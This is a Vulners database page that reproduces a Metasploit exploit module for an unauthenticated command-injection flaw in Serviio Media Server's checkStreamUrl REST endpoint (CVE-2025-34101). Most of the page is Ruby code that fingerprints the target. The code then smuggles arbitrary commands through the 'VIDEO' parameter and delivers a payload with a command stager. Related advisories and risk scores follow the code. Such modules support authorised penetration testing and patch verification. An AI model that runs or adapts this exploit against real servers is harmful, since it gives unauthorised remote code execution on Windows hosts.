Serviio Media Server checkStreamUrl Command Execution
🗓️ 03 May 2017 00:00:00Reported by Gjoko Krstic(LiquidWorm) <[email protected]>, bcoles <[email protected]>Type
metasploit🔗 www.rapid7.com👁 24 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2025-34101 | 29 May 201815:50 | – | circl | |
| Serviio Media Server 安全漏洞 | 10 Jul 202500:00 | – | cnnvd | |
| CVE-2025-34101 | 10 Jul 202519:11 | – | cve | |
| CVE-2025-34101 Serviio Media Server Unauthenticated Command Injection via checkStreamUrl VIDEO Parameter | 10 Jul 202519:11 | – | cvelist | |
| EUVD-2025-21036 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-34101 | 10 Jul 202520:15 | – | nvd | |
| PT-2025-29143 · Unknown · Serviio Media Server | 10 Jul 202500:00 | – | ptsecurity | |
| CVE-2025-34101 | 12 Jul 202519:24 | – | redhatcve | |
| CVE-2025-34101 Serviio Media Server Unauthenticated Command Injection via checkStreamUrl VIDEO Parameter | 10 Jul 202519:11 | – | vulnrichment | |
| Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution | 3 May 201700:00 | – | zeroscience |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Serviio Media Server checkStreamUrl Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command execution vulnerability
in the console component of Serviio Media Server versions 1.4 to 1.8 on
Windows operating systems.
The console service (on port 23423 by default) exposes a REST API which
which does not require authentication.
The 'action' API endpoint does not sufficiently sanitize user-supplied data
in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
used in a call to cmd.exe resulting in execution of arbitrary commands.
This module has been tested successfully on Serviio Media Server versions
1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
},
'License' => MSF_LICENSE,
'Author' => [
'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
'bcoles', # Metasploit
],
'References' => [
['CVE', '2025-34101'],
['OSVDB', '41961'],
['PACKETSTORM', '142387'],
['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
],
'Platform' => 'win',
'Targets' => [
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => '2017-05-03',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options([ Opt::RPORT(23423) ])
end
def check
res = execute_command('')
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown('Could not determine the target status')
end
if res.headers['Server'] !~ /Serviio/
vprint_status 'Target is not a Serviio Media Server'
return CheckCode::Safe('Target is not vulnerable')
end
if res.headers['Server'] !~ /Windows/
vprint_status 'Target operating system is not vulnerable'
return CheckCode::Safe('Target is not vulnerable')
end
if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
vprint_status 'Unexpected reply'
return CheckCode::Safe('Target is not vulnerable')
end
if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
vprint_status "#{peer} Serviio Media Server version #{$1}"
return CheckCode::Appears('Target appears to be vulnerable')
end
CheckCode::Safe('Target is not vulnerable')
end
def execute_command(cmd, opts = {})
data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
send_request_cgi('uri' => normalize_uri(target_uri.path, 'rest', 'action'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => data.to_json)
end
def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
execute_cmdstager(:temp => '.', :linemax => 8000)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 May 2017 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 49.3
EPSS0.0309
SSVC